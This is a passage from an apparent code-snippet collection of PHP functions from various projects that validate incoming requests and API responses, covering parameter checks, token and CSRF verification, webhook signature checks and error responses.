'no')\n\t\t\t{\n\t\t\t\t$this->response['status'] = 'Error';\n\t\t\t\t$this->response['message'][] = 'Invalid value for wellwork - should be Yes or No';\n\t\t\t\t$this->errors_found = TRUE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->form_answers['wellwork'] = $_GET['wellwork'];\n\t\t\t}\n\t\t}\n\t\t\n\n\t\t//is there a does the mechanic know?\n\t\tif(isset($_GET['mechanicknow']))\n\t\t{\n\t\t\t$_GET['mechanicknow'] = strtolower($_GET['mechanicknow']);\n\t\t\tif($_GET['mechanicknow'] != 'yes' && $_GET['mechanicknow'] != 'no'){\n\t\t\t\t$this->response['status'] = 'Error';\n\t\t\t\t$this->response['message'][] = 'Invalid value for mechanicknow - should be Yes or No';\n\t\t\t\t$this->errors_found = TRUE;\n\t\t\t}else{\n\t\t\t\t$this->form_answers['mechanicknow'] = $_GET['mechanicknow'];\n\t\t\t}\n\t\t}\n\n\t\t\t\n\t\t//is there a can the mechanic fix\n\t\tif(isset($_GET['mechanicfix']))\n\t\t{\n\t\t\t$_GET['mechanicfix'] = strtolower($_GET['mechanicfix']);\n\t\t\tif($_GET['mechanicfix'] != 'yes' && $_GET['mechanicfix'] != 'no'){\n\t\t\t\t$this->response['status'] = 'Error';\n\t\t\t\t$this->response['message'][] = 'Invalid value for mechanicfix - should be Yes or No';\n\t\t\t\t$this->errors_found = TRUE;\n\t\t\t}else{\n\t\t\t\t$this->form_answers['mechanicfix'] = $_GET['mechanicfix'];\n\t\t\t}\n\t\t}\n\t\t//is there a file name\n\t\tif(isset($_GET['filename'])){\n\t\t\t$get = new Validation($_GET);\n\t\t\t$get->add_rules('filename','standard_text');\n\t\t\tif(! $get->validate()){\n\t\t\t\t$this->response['status'] = 'Error';\n\t\t\t\t$this->response['message'][] = 'Invalid value for filename - should be standard text';\n\t\t\t\t$this->errors_found = TRUE;\n\t\t\t}else{\n\t\t\t\t$this->form_answers['filename'] = $_GET['filename'];\n\t\t\t}\n\t\t}\n\t\t\n\t\t//is there a response format \n\t\tif(isset($_GET['resp'])){\n\t\t\tif($_GET['resp'] != 'json' && $_GET['resp'] != 'xml'){\n\t\t\t\t$this->response['status'] = 'Error';\n\t\t\t\t$this->response['message'][] = 'Invalid value for resp - should be json or xml';\n\t\t\t\t$this->errors_found = TRUE;\n\t\t\t}else{\n\t\t\t\t$this->resp = $_GET['resp'];\n\t\t\t}\n\t\t}else{\n\t\t\t$this->resp = 'json';\n\t\t}\n\n\t\t//if there are errors, let them know.\n\t\tif($this->errors_found){\n\t\t\t$this->send_response($this->response, $this->resp);\n\t\t\treturn;\n\t\t}\t\t\n \t}", "protected function cleanResponse()\n {\n // If the option to strip bad characters is not set, then we shouldn't\n // do anything here.\n if (!$this->options['strip_bad_chars']) {\n return;\n }\n\n // Strip invalid characters from the XML response body.\n $count = 0;\n $this->__last_response = preg_replace(\n '/(?!&#x0?(9|A|D))(&#x[0-1]?[0-9A-F];)/',\n ' ',\n $this->__last_response,\n -1,\n $count\n );\n\n // If the option to warn on bad characters is set, and some characters\n // were stripped, then trigger a warning.\n if ($this->options['warn_on_bad_chars'] && $count > 0) {\n trigger_error(\n 'Invalid characters were stripped from the XML SOAP response.',\n E_USER_WARNING\n );\n }\n }", "public function checkData() {\n\t\t// e.g. numbers must only have digits, e-mail addresses must have a \"@\" and a \".\".\n\t\treturn $this->control->checkPOST($this);\n\t}", "public function checkData() {\n\t\t// e.g. numbers must only have digits, e-mail addresses must have a \"@\" and a \".\".\n\t\treturn $this->control->checkPOST($this);\n\t}", "public function get_valid_response()\n {\n return $this->valid_response;\n }", "public function isValid()\n {\n $valid = TRUE;\n\n if ($this->body && !$this->hasHeader('Content-Length')) {\n $valid = 400;\n }\n\n return $valid;\n }", "protected function passedValidation(){\n // List all fields is allow in rules\n $rules = $this->rules();\n $allowFields = [];\n foreach($this->rules() as $key => $rule){\n if(! in_array($key, $allowFields)){\n array_push($allowFields, $key);\n }\n }\n\n // List all fileds in request\n $deniedFields = [];\n foreach($this->validationData() as $key => $rule){\n if(! in_array($key, $allowFields)){\n array_push($deniedFields, ucfirst($key).\" is not allow in request!\");\n }\n }\n\n // Response to client\n if(count($deniedFields)){\n throw new HttpResponseException(\n response()->json(['errors' => $deniedFields], JsonResponse::HTTP_UNPROCESSABLE_ENTITY)\n );\n }\n }", "public function isValid()\n\t{\n\t\treturn $this->response\n\t\t\t&& $this->response->isValid();\n\t}", "private function checkResponseFormat(){\n\n }", "private function verify_request()\n {\n try{\n $headers = $this->input->request_headers();\n $token = $headers['X-API-KEY'];\n if(!$token) {\n $status = parent::HTTP_UNAUTHORIZED;\n $res = ['status' => $status, 'msg' => 'Unauthorized access!'];\n $this->response($res, $status);\n return;\n }\n\n $data = AUTHORIZATION::validateToken($token);\n if($data === false){\n $status = parent::HTTP_UNAUTHORIZED;\n $res = ['status' => $status, 'msg' => 'Unauthorized accesss'];\n $this->response($res, $status);\n exit();\n }else{\n return $data;\n }\n\n }catch(Exception $e){\n $status = parent::HTTP_UNAUTHORIZED;\n $res = ['status' => $status, 'msg' => 'Unauthorized access!'];\n $this->response($res, $status);\n }\n }", "private function verify_request()\n {\n try{\n $headers = $this->input->request_headers();\n $token = $headers['X-API-KEY'];\n if(!$token) {\n $status = parent::HTTP_UNAUTHORIZED;\n $res = ['status' => $status, 'msg' => 'Unauthorized access!'];\n $this->response($res, $status);\n return;\n }\n\n $data = AUTHORIZATION::validateToken($token);\n if($data === false){\n $status = parent::HTTP_UNAUTHORIZED;\n $res = ['status' => $status, 'msg' => 'Unauthorized accesss'];\n $this->response($res, $status);\n exit();\n }else{\n return $data;\n }\n\n }catch(Exception $e){\n $status = parent::HTTP_UNAUTHORIZED;\n $res = ['status' => $status, 'msg' => 'Unauthorized access!'];\n $this->response($res, $status);\n }\n }", "public function isValidRequest() {\n }", "public function valid()\n\t{\n\t\t$echoStr = $_GET[\"echostr\"];\n\t\tif($this->checkSignature())\n\t\t{\n\t\t\techo $echoStr;\n\t\t\texit;\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo \"failure , check your TOKEN\";\n\t\t\texit;\n\t\t}\n\t}", "function RequirePostRequest()\n{\n if($_SERVER['REQUEST_METHOD'] !== 'POST')\n {\n header('HTTP/1.1 400 Bad Request');\n die(\"The Prybar API currently only accepts POST requests\");\n }\n}", "public function verifyRequest(): void\n {\n $this->verifySignature();\n\n if (!$this->request->hasParameters(['entry.0.messaging.0.sender.id', 'entry.0.messaging.0.message'])) {\n throw new InvalidRequest('Invalid payload');\n }\n }", "public function validUserResponse ($userResponse);", "private static function verifyRequest()\n {\n if(isset($_SERVER['HTTP_USER_AGENT']) == false)\n {\n InvalidUserAgentResponse::executeResponse();\n exit();\n }\n\n if(strlen($_SERVER['HTTP_USER_AGENT']) == 0)\n {\n InvalidUserAgentResponse::executeResponse();\n exit();\n }\n\n if(strlen($_SERVER['HTTP_USER_AGENT']) > 624)\n {\n InvalidUserAgentResponse::executeResponse();\n exit();\n }\n\n $UnsupportedRequestMethod = true;\n\n if(strtoupper($_SERVER['REQUEST_METHOD']) == 'GET')\n {\n $UnsupportedRequestMethod = false;\n }\n\n if(strtoupper($_SERVER['REQUEST_METHOD']) == 'POST')\n {\n $UnsupportedRequestMethod = false;\n }\n\n if($UnsupportedRequestMethod)\n {\n UnsupportedVersion::executeResponse();\n exit();\n }\n }", "function validate(){\n $errors = array();\n\n // throw message indicating that this field is numeric\n if( $this->post->isNumeric('noOfTransactions')==false){\n $errors[] = $this->Raxan->locale(\"request.missing.transcount\");\n }\n // throw message indicating that this field is date\n if( $this->post->isDate(\"startDate\",\"Y-m-d\" )==false){\n $errors[] = $this->Raxan->locale(\"request.missing.startdate\");\n }\n // throw message indicating that this field is date\n if( $this->post->isDate( \"endDate\",\"Y-m-d\" )==false ){\n $errors[] = $this->Raxan->locale(\"request.missing.enddate\");\n }\n\n if(!empty ($errors)) {\n $this->postMessage($errors, \"Request History\");\n }\n return (count($errors) == 0);\n }", "public function check_for_webhook() {\n\t\tif ( ( 'POST' !== $_SERVER['REQUEST_METHOD'] )\n\t\t\t|| ! isset( $_GET['wc-api'] )\n\t\t\t|| ( 'wc_stripe' !== $_GET['wc-api'] )\n\t\t) {\n\t\t\treturn;\n\t\t}\n\n\t\t$request_body = file_get_contents( 'php://input' );\n\t\t$request_headers = array_change_key_case( $this->get_request_headers(), CASE_UPPER );\n\n\t\t// Validate it to make sure it is legit.\n\t\tif ( $this->is_valid_request( $request_headers, $request_body ) ) {\n\t\t\t$this->process_webhook( $request_body );\n\t\t\tstatus_header( 200 );\n\t\t\texit;\n\t\t} else {\n\t\t\tWC_Stripe_Logger::log( 'Incoming webhook failed validation: ' . print_r( $request_body, true ) );\n\t\t\tstatus_header( 400 );\n\t\t\texit;\n\t\t}\n\t}", "function isValidPostRequest($referrer)\n{\n switch($referrer)\n {\n case \"bitcointalk\": \n return hasValidBitcointalkData();\n }\n \n return false;\n}", "function badRequest() {\n header('HTTP/1.0 400 Bad Request');\n }", "public function validate_request() {\r\n\t\tif ($this->request != null && sizeof($this->request) != 1)\r\n\t\t\treturn true;\r\n\t\treturn false;\r\n\t}", "public function isValidResponse(){\n\t\treturn $this->isLoaded(); \n\t}", "public function postErrorResponse()\n {\n $this->getResponse()->code(400)->redirect();\n return $this->form;\n }", "public function validateResponseApi($response)\n {\n //Get response\n $data = json_decode($response->content());\n\n //If there is errors, throw error\n if (isset($data->errors))\n throw new Exception($data->errors, $response->getStatusCode());\n else {//if response is successful, return response\n return $data->data;\n }\n }", "private function verifyResponse()\n {\n $errorMessages = [];\n \n if (!isset($this->endpoint)) {\n $errorMessages[] = \"$endpoint must be set.\";\n }\n \n if (!isset($this->statusCode)) {\n $errorMessages[] = \"$statusCode must be set.\";\n }\n \n if (!is_array($this->data)) {\n $errorMessages[] = \"$data must be formatted as an array.\";\n }\n \n if (!is_array($this->errors)) {\n $errorMessages[] = \"$errors must be formatted as an array.\";\n }\n\n if (!empty($errorMessages)) {\n return $errorMessages;\n }\n \n return true;\n }", "public function invalid(BaseResponse $response);", "public function badRequestResponse(){\n $this->response->statusCode(400);\n return $this->response;\n }", "private function fail() {\n\t\theader('HTTP/1.1 400 BAD REQUEST');\n\t\tdie('400 BAD REQUEST');\n\t}", "public function verifyRequest()\n {\n }", "function handle_validate_purchase_code_response($response) {\r\n\r\n global $internal_err;\r\n\r\n if($response[\"status\"] !== 200) {\r\n\r\n // If error exist\r\n if($response[\"status\"] === 404) {\r\n set_field_error(\"purchase_code\", \"Invalid Purchase Code!\");\r\n }else {\r\n set_field_error(\"purchase_code\", json_decode(json_encode($response[\"result\"]), true)[\"error\"]);\r\n show_err($internal_err);\r\n }\r\n\r\n redirect_to_home();\r\n }\r\n return $response[\"result\"]->item;\r\n}", "public function validate_response($abkashresponse) {\n\t\tif(is_null($abkashresponse))\n\t\t{\n\t\t\treturn \"Config Error . Please Contact with Support\";;\n\t\t}\n\t\tswitch ($abkashresponse->trxStatus) {\n\t\tcase '0010':\n\t\tcase '0011':\n\t\t\tthrow new Exception('Transaction is pending, please try again later.');\n\t\t\tbreak;\n\t\tcase '0100':\n\t\t\tthrow new Exception('Transaction ID is valid but transaction has been reversed.');\n\t\t\tbreak;\n\t\tcase '0111':\n\t\t\tthrow new Exception('Transaction is failed.');\n\t\t\tbreak;\n\t\tcase '1001':\n\t\t\tthrow new Exception('Invalid MSISDN input. Try with correct mobile no.');\n\t\t\tbreak;\n\t\tcase '1002':\n\t\t\tthrow new Exception('Invalid transaction ID.');\n\t\t\tbreak;\n\t\tcase '1003':\n\t\t\tthrow new Exception('Authorization Error, please contact site admin.');\n\t\t\tbreak;\n\t\tcase '1004':\n\t\t\tthrow new Exception('Transaction ID not found.');\n\t\t\tbreak;\n\t\tcase '9999':\n\t\t\tthrow new Exception('System error, could not process request. Please contact site admin.');\n\t\t\tbreak;\n\t\tcase '0000':\n\t\t\treturn $response;\n\t\t}\n\t}", "public static function validate()\n {\n $request = Request::getInstance();\n $csrf = Session::get('csrf');\n\n if(!$csrf) self::rejectRequest();\n\n $isValid = hash_equals($request->csrf, $csrf);\n\n self::generateToken();\n\n if(!$isValid) {\n\n self::rejectRequest();\n\n }\n }", "abstract protected function checkExistingResponse();", "private function _validateResponse($response)\n {\n $timestamp = $response['TIMESTAMP'];\n $result = $response['RESULT'];\n $orderid = $response['ORDER_ID'];\n $message = $response['MESSAGE'];\n $authcode = $response['AUTHCODE'];\n $pasref = $response['PASREF'];\n $paycometsha1 = $response['SHA1HASH'];\n\n $merchantid = $this->_helper->getConfigData('merchant_id');\n\n $sha1hash = $this->_helper->signFields(\"$timestamp.$merchantid.$orderid.$result.$message.$pasref.$authcode\");\n\n //Check to see if hashes match or not\n if (strcmp($sha1hash, $paycometsha1) != 0) {\n return false;\n }\n\n return true;\n }", "public function sanityCheck()\n {\n $request = new Request;\n $request->setUrl(\"sanityCheck\");\n $request->setMethod(\"POST\");\n $this->populateMetadata($request);\n $response = $this->send($request);\n return $response->getRawResponse()->code === 200;\n }", "function check_response()\n {\n\n $sp_recepcion = new seguripagoRecepcionDiferido($this->sp_idSocio, $this->sp_key, $this->sp_modo);\n $data = $sp_recepcion->recibir();\n if(!is_array($data)) {\n switch($data) {\n case '01': echo \"Error al recepcionar datos.\"; break;\n case '02': echo \"Error en n&uacute;mero de pedido.\"; break;\n case '03': echo \"Error en validaci&oacute;n de hash.\"; break;\n }\n exit();\n }\n\n /**\n * ---------------------- PROCESANDO PAGO APROBADO ---------------------------\n */\n if($data[\"resultado\"] == \"1\") {\n /**\n * Informar al usuario, por correo, informando de la aprobación de su pago,\n * indicar información adicional para que acceda al producto o servicio.\n */\n\n $id_order = ltrim($data['num_pedido'], '0');\n\n $id_order = (int) $id_order;\n\n $order = new WC_Order( $id_order );\n\n // Mark order complete\n //$order->payment_complete();\n // Mark order processing\n $order->update_status( 'processing' );\n }\n\n /**\n * Enviando confirmación de recibo de datos\n */\n $sp_recepcion->confirmar();\n\n }", "private function unprocessableResponse() {\r\n $response['status_code_header'] = HTTP_UNPROCESSABLE;\r\n $response['body'] = json_encode([\r\n 'error' => 'Invalid input'\r\n ]);\r\n\r\n return $response;\r\n }", "public function validateUrlSignature()\n {\n /**\n * @var $validator Validator\n */\n $validator = app()->make('validator')->make($this->request->input(), [\n 'id' => 'required',\n 'expires' => 'required',\n 'hash' => 'required',\n 'signature' => 'required',\n ]);\n\n if($validator->passes()) {\n if(!$this->request->hasCorrectSignature($this->request, false)) {\n $this->apiResponse->setError(\"URL Signature is invalid.\");\n }\n\n if(!$this->request->signatureHasNotExpired($this->request)) {\n $this->apiResponse->setError(\"URL has expired.\");\n }\n\n /**\n * @var User|MustVerifyEmail $user\n */\n $user = User::find($this->request->input('id', null));\n\n if(!$user instanceof User) {\n $this->apiResponse->setError(\"No user found.\");\n } else {\n if (! hash_equals((string) $this->request->input('id'), (string) $user->getKey())) {\n throw new AuthorizationException;\n }\n\n if (! hash_equals((string) $this->request->input('hash'), sha1($user->getEmailForVerification()))) {\n throw new AuthorizationException;\n }\n\n $this->apiResponse->setSuccess(['email' => $user->getEmailForVerification()]);\n }\n } else {\n $this->apiResponse->handleErrors($validator);\n }\n\n return $this->apiResponse->returnResponse();\n }", "function invalidMethodRequest(){\n\n $return = array(\n 'status' => 405,\n 'message' => \"Method should be a post\"\n );\n\n http_response_code(405);\n\n //Send back response to client. \n print_r(json_encode($return));\n \n}", "public function verifyUnsafeRequest() {\n Utils\\verifyPermission($this->edit_permission);\n CSRFProtection::verifyUnsafeRequest();\n }", "public function validate_payload() {\n if (isset($this->initial_data[\"interface\"])) {\n $this->initial_data[\"interface\"] = APITools\\get_pfsense_if_id($this->initial_data[\"interface\"]);\n # Check that interface exists\n if (is_string($this->initial_data[\"interface\"])) {\n $if_conf = $this->config[\"interfaces\"][$this->initial_data[\"interface\"]];\n # Check that interface hosts a static network with multiple addresses\n if (isset($if_conf[\"enable\"]) and is_ipaddrv4($if_conf[\"ipaddr\"]) and $if_conf[\"subnet\"] <= 31) {\n\n } else {\n $this->errors[] = APIResponse\\get(2019);\n }\n } else {\n $this->errors[] = APIResponse\\get(2018);\n }\n } else {\n $this->errors[] = APIResponse\\get(2017);\n }\n\n # Check for our required 'id' payload value\n if (isset($this->initial_data[\"id\"])) {\n # Ensure this ID exists\n $dhcp_maps = $this->config[\"dhcpd\"][$this->initial_data[\"interface\"]][\"staticmap\"];\n if (array_key_exists($this->initial_data[\"id\"], $dhcp_maps)) {\n $this->id = $this->initial_data[\"id\"];\n } else {\n $this->errors[] = APIResponse\\get(2045);\n }\n } else {\n $this->errors[] = APIResponse\\get(2044);\n }\n }", "private function _setResponse()\n {\n try\n {\n return $this->_hasErrors();\n }\n\n catch (ValidationException $exception)\n {\n return $exception->getResponse();\n }\n }", "function missingParamToPostResponse(){\n\n $return = array(\n 'status' => 400,\n 'message' => \"Missing params to post.\"\n );\n\n http_response_code(400);\n\n //Send back response to client. \n print_r(json_encode($return));\n\n}", "function check_ipn_request_is_valid() {\n\t\tglobal $woocommerce;\n\n\t\t$debug = ( $this->get_option( \"debug\" ) === \"yes\" ) ? 1 : 0;\n\n\t\t$this->option = array( 'merchant' => $this->get_option( \"merchant\" ), \n\t\t\t\t\t\t 'secretkey' => $this->get_option( \"secret_key\" ), \n\t\t\t\t\t\t 'debug' => $debug, \n\t\t\t\t \t\t);\n\t\t$this->payansewer = PayU::getInst()->setOptions( $this->option )->IPN();\n\n\t\tif ($_POST['ORDERSTATUS'] !== \"COMPLETE\" && ( $debug == 1 && $_POST['ORDERSTATUS'] !== \"TEST\") ) return false;\n\n\t\treturn $this->payansewer;\n\t\n }", "public function testSendMalformed()\n {\n $this->setMockHttpResponse('JsonPurchaseResponseMalformed.txt');\n $response = $this->request->send();\n\n $code = $response->response->getStatusCode();\n $this->assertFalse($response->isSuccessful());\n $this->assertEquals(400, $code);\n $this->assertNull($response->getCode());\n $this->assertNull($response->getMessage());\n $this->assertNull($response->getTransactionReference());\n $this->assertNull($response->getCardReference());\n }", "protected function validate(Request $request, Response $response)\n {\n $type = gettype($request->id);\n if (\n $request->jsonrpc !== Response::VERSION ||\n !is_string($request->method) ||\n !in_array($type, ['NULL', 'integer', 'string'])\n ) {\n $response->setError(Response::INVALID_REQUEST);\n } elseif (!is_array($request->params) && !is_object($request->params) && !is_null($request->params)) {\n $response->setError(Response::INVALID_PARAMS);\n }\n }", "public function prepare()\n {\n if($this->af->validate() >0){\n (new JsonResponse(array('error'=>'bad request'),400))->send();\n return false;\n }\n\n return null;\n }", "protected function validate() {\n\t\t// This loop has to be removed for 1.1\n\t\tforeach ($this->data as $k => $v) {\n\t\t\tif ($k == '__SESS_ID') {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$sep = strpos('/', $k) !== false ? '/' : '-';\n\t\t\tbreak;\n\t\t}\n\n\t\t$validities = array();\n\n\t\t$hasError = ake(self::RESPONSE_ERROR, $this->responses);\n\n\t\tif (empty($this->data)) {\n\t\t\treturn $hasError;\n\t\t}\n\n\t\t$sep = null;\n\n\n\t\t// DEPRECATED, to be removed for 1.1\n\t\tforeach ($this->data as $k => $v) {\n\t\t\tif ($k == '__SESS_ID') {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (is_null($sep)) {\n\t\t\t\t$sep = strpos($k, '/') !== false ? '/' : '-';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// DEPRECATED, to be removed for 1.1\n\t\tif ($sep == '/') {\n\t\t\tforeach ($this->data as $k => $v) {\n\t\t\t\tif ($k == '__SESS_ID') {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$id = explode($sep, $k);\n\n\t\t\t\tif (count($id) > 3) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tforeach ($this->structure[$this->table] as &$field) {\n\t\t\t\t\tif (is_array($field) && array_key_exists('name', $field) && $field['name'] == $id[2]) {\n\t\t\t\t\t\tif (array_key_exists('validation', $field)) {\n\t\t\t\t\t\t\t$r = '/' . $field['validation']['rule'] . '/';\n\n\t\t\t\t\t\t\tif (!preg_match($r, $v)) {\n\t\t\t\t\t\t\t\t$hasError = true;\n\t\t\t\t\t\t\t\t$this->addResponse($field['validation']['message'], self::RESPONSE_ERROR);\n\t\t\t\t\t\t\t\t$validities[$field['name']] = false;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$validities[$field['name']] = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$this->toSave[$id[2]] = $v;\n\t\t\t}\n\n\t\t\t$this->view->set('validities', $validities);\n\n\t\t\treturn $hasError == false;\n\t\t\t// NEW WAY TO VALIDATE\n\t\t}\n\n\n\t\t// Here is final line code to keep for 1.1\n\n\t\t$dbs = array();\n\n\t\t// We order POST data by db/table to call the right model for each data\n\t\tforeach ($this->data as $k => $v) {\n\t\t\t// Find something less ugly\n\t\t\t$c = count(explode('-', $k)) - 1;\n\n\t\t\t// DB nor table given, we apply implicit db and table of this controller\n\t\t\tif ($c == 0) {\n\t\t\t\t$db = $this->_implicit;\n\n\t\t\t\tif (!is_null($this->model)) {\n\t\t\t\t\tthrow new ErrorException('POST field ' . $k . ' has not been associated to a table.');\n\t\t\t\t}\n\n\t\t\t\t$table = $this->model->getTable();\n\n\t\t\t\t$field = $k;\n\t\t\t\t// Only table and field are given, we apply implicit db of this controller\n\t\t\t} else if ($c == 1) {\n\t\t\t\t$db = $this->_implicit;\n\t\t\t\tlist ( $table, $field ) = explode('-', $k);\n\t\t\t} else {\n\t\t\t\tlist ( $db, $table, $field ) = explode('-', $k);\n\t\t\t}\n\n\n\t\t\t// Now we add field in all fields to be validated\n\t\t\t$db = camelize($db, '_');\n\n\t\t\tif (!ake($db, $dbs)) {\n\t\t\t\t$dbs[$db] = array();\n\t\t\t}\n\n\t\t\t$model = camelize($table, '_');\n\n\t\t\tif (!ake($model, $dbs[$db])) {\n\t\t\t\t$dbs[$db][$model] = array();\n\t\t\t}\n\n\t\t\t$dbs[$db][$model][$field] = $v;\n\t\t}\n\n\t\t$result = array();\n\n\t\t// And we call each model to validate data\n\t\tforeach ($dbs as $db => $models) {\n\t\t\tforeach ($models as $model => $fields) {\n\t\t\t\t$result = $this->$db->$model->validate($fields, $result);\n\t\t\t}\n\t\t}\n\n\t\t// [DEPRECATED] >>\n\t\t$this->toSave = $result['data'];\n\t\t// << [DEPRECATED]\n\t\t// We send result messages to view\n\t\tforeach ($result['messages'] as $msg) {\n\t\t\t$this->addResponse($msg, self::RESPONSE_ERROR);\n\t\t}\n\n\t\t$this->view->set('validities', $result['validities']);\n\n\t\treturn empty($result['messages']);\n\t}", "public function prefillBaseFieldsForBadRequestResponse(): void\n {\n $this->setCode(Response::HTTP_BAD_REQUEST);;\n $this->setSuccess(false);\n }", "protected function isInvalid($response)\n {\n return false;\n }", "public function bmo_validate_request(){\n\t\t $this->is_google = $this->is_request_google();\n\t\t if( ! $this->is_google ) return; // Move along if this isn't even a google request\n\n\t\t //If this is a google request, validate the $_GET[ 'code' ] param\n\t\t $this->valid = $this->google_client->validate_code( $_GET[ 'code' ] );\n\n\t\t //Let's strip the $_GET[ 'code' ] param so nothing else can use it\n\t\t $strip = $this->strip_code_param();\n\n\t\t //Get the Google User\n\t\t $this->google_user = $this->google_client->get_google_user();\n\n\t\t //Check if the Google User Email is allowed agains our list of Approved Domains\n\t\t $approved = $this->approve_google_user();\n\n\t\t return;\n\t}", "public function get_correct_response()\n {\n return null;\n }", "function verifyRequest($req){\n\n}", "public function validate($args){\r\n\t\t$responseReceived = false;\r\n\t\tif (!(isset($this->sessionID))){\r\n\t\t\tif ($this->serverDownShouldModerate()){\r\n\t\t\t\t// couldn't access the server, moderate the session\r\n\t\t\t\t$this->recommendedAction = self::$SHOULD_MODERATE;\r\n\t\t\t}else{\r\n\t\t\t\t// no session ID but the server hasn't experienced downtime.\r\n\t\t\t\t$this->recommendedAction = self::$SHOULD_DELETE;\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$args['lofi'] = $this->languageOrFrameworkID;\r\n\t\t\t$args['lofv'] = $this->languageOrFrameworkVersion;\r\n\t\t\t$args['k'] = $this->accountID;\r\n\t\t\t$args['pwd'] = $this->privateKey;\r\n\t\t\t$args['ua'] = $this->userAction;\r\n if (isset($this->customerSessionID)){\r\n $args['c'] = $this->customerSessionID;\r\n }\r\n\t\t\t$args['upow'] = $this->useProofOfWorkCaptcha ? \"1\" : \"0\";\r\n\t\t\t$args['powt'] = $this->proofOfWorkTime;\r\n\t\t\t$xmlresponse = $this->postData($this->baseURL, \"/validate\", $this->useSSL, $args);\r\n\t\t\tif ($xmlresponse){\r\n\t\t\t\t$doc = DOMDocument::loadXML($xmlresponse);\r\n\t\t\t\tif ($doc){\r\n\t\t\t\t\t$isValidResponse = $doc->getElementsByTagName('isValid');\r\n\t\t\t\t\tif (!($isValidResponse && $isValidResponse->item(0))){\r\n\t\t\t\t\t\t// got a response but it isn't in the expected format\r\n\t\t\t\t\t\t$this->recommendedAction = self::$SHOULD_MODERATE;\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t// parse out result from spamcaptcher server\r\n\t\t\t\t\t\t$this->spamScore = $doc->getElementsByTagName('spamScore')->item(0)->nodeValue;\r\n\t\t\t\t\t\t$this->isValid = $this->strToBoolean($doc->getElementsByTagName('isValid')->item(0)->nodeValue);\r\n\t\t\t\t\t\t$responseReceived = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t}else{\r\n\t\t\t\t\t// got a response but it isn't in the expected format\r\n\t\t\t\t\t$this->recommendedAction = self::$SHOULD_MODERATE;\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t// couldn't access the server, moderate the session\r\n\t\t\t\t$this->recommendedAction = self::$SHOULD_MODERATE;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($responseReceived){\r\n\t\t\tif (!$this->isValid){\r\n\t\t\t\t// CAPTCHA was NOT solved correctly AND no TrustMe Account was used\r\n\t\t\t\t$this->recommendedAction = self::$SHOULD_DELETE;\r\n\t\t\t}else{\r\n\t\t\t\tif ($this->spamScore > $this->MAX_MODERATE_SCORE){\r\n\t\t\t\t\t// SpamScore is too high\r\n\t\t\t\t\t$this->recommendedAction = self::$SHOULD_DELETE;\r\n\t\t\t\t}elseif ($this->spamScore > $this->MAX_PASSABLE_SCORE){\r\n\t\t\t\t\t// SpamScore is questionable\r\n\t\t\t\t\t$this->recommendedAction = self::$SHOULD_MODERATE;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t// Goldilocks is happy with the SpamScore\r\n\t\t\t\t\t// Yes yes, technically one of the scores\r\n\t\t\t\t\t// should have been \"too low\" for me to make\r\n\t\t\t\t\t// a Goldilocks reference ... I don't care.\r\n\t\t\t\t\t$this->recommendedAction = self::$SHOULD_PASS;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $this->recommendedAction;\r\n }", "public static function verify()\n {\n // Check for POST request\n if($_SERVER['REQUEST_METHOD'] === 'POST')\n {\n if(!isset($_SESSION['csrf_token']) || !isset($_POST['csrf_token']) || $_SESSION['csrf_token'] !== $_POST['csrf_token'])\n {\n // Kill the application\n die('Invalid Token');\n }\n }\n }", "function GoogleValidation($post) {\n // Do the google stuff here.\n if (isset($post['g-recaptcha-response'])) {\n $gsecret = \"\"; //gsecret code.\n $captcha = filter_var($post['g-recaptcha-response'], FILTER_SANITIZE_STRING); // Sanitize the string before making call to Google.\n $response=json_decode(file_get_contents(\"https://www.google.com/recaptcha/api/siteverify?secret=\" . $gsecret . \"&response=\" . $captcha . \"&remoteip=\" . $_SERVER['REMOTE_ADDR']), true);\n \n if ($response['success'] == true) {\n return true;\n } else {\n return false;\n }\n }\n return false;\n }", "public function validateToken() \n {\n return API::response()->array(['status' => 'success'])->statusCode(200);\n }", "public function testValidRequest()\n {\n $this->client->{$this->method}(\n $this->endpoint,\n $this->getValidData(),\n $this->requestHeaders\n );\n $this->assertResponseCode(200, 299);\n }", "protected function parseGetResponse()\n\t{\n\t\t$body = $this->decodedBody();\n\n\t\t//check and throw errors\n\t\t$this->validateErrorsInBody($body);\n\n\t\t$this->setDataFromBody($body);\n\t\t$this->setMetaFromBody($body);\n\n\t\treturn true;\n\t}", "protected function checkSignature()\n {\n $headers = \\Yii::$app->request->headers;\n\n $signature = $headers->get('paypal-transmission-sig');\n if (!$signature)\n throw new BadRequestHttpException;\n\n $checkString = sprintf('%s|%s|%s|%s',\n $headers->get('paypal-transmission-id'),\n $headers->get('paypal-transmission-time'),\n $this->webHookId,\n crc32(\\Yii::$app->request->rawBody)\n );\n\n $certUrl = $headers->get('paypal-cert-url');\n if (!$certUrl)\n throw new BadRequestHttpException;\n\n $publicKey = $this->fetchPublicKey($certUrl);\n if (!$publicKey)\n throw new \\Exception('Certificate error');\n\n// $algo = ArrayHelper::getValue($headers, 'paypal-hash-algo');\n\n $result = openssl_verify($checkString, base64_decode($signature), $publicKey);\n return $result === 1;\n }", "protected function postValidation()\n {\n if (Tools::isSubmit('btnSubmit')) {\n if (!Tools::getValue('SEND_SMS_API')) {\n $this->postErrors[] = $this->l('API Key is required.');\n }\n if (Tools::getValue('SEND_SMS_API')) {\n $isapiKey = $this->isValidAPIKey(Tools::getValue('SEND_SMS_API'));\n if ($isapiKey->status != 'success') {\n $this->postErrors[] = $this->l('API Key is not valid.');\n }\n }\n if (!Tools::getValue('ADMIN_MOBILE')) {\n $this->postErrors[] = $this->l('Admin Mobile Number is 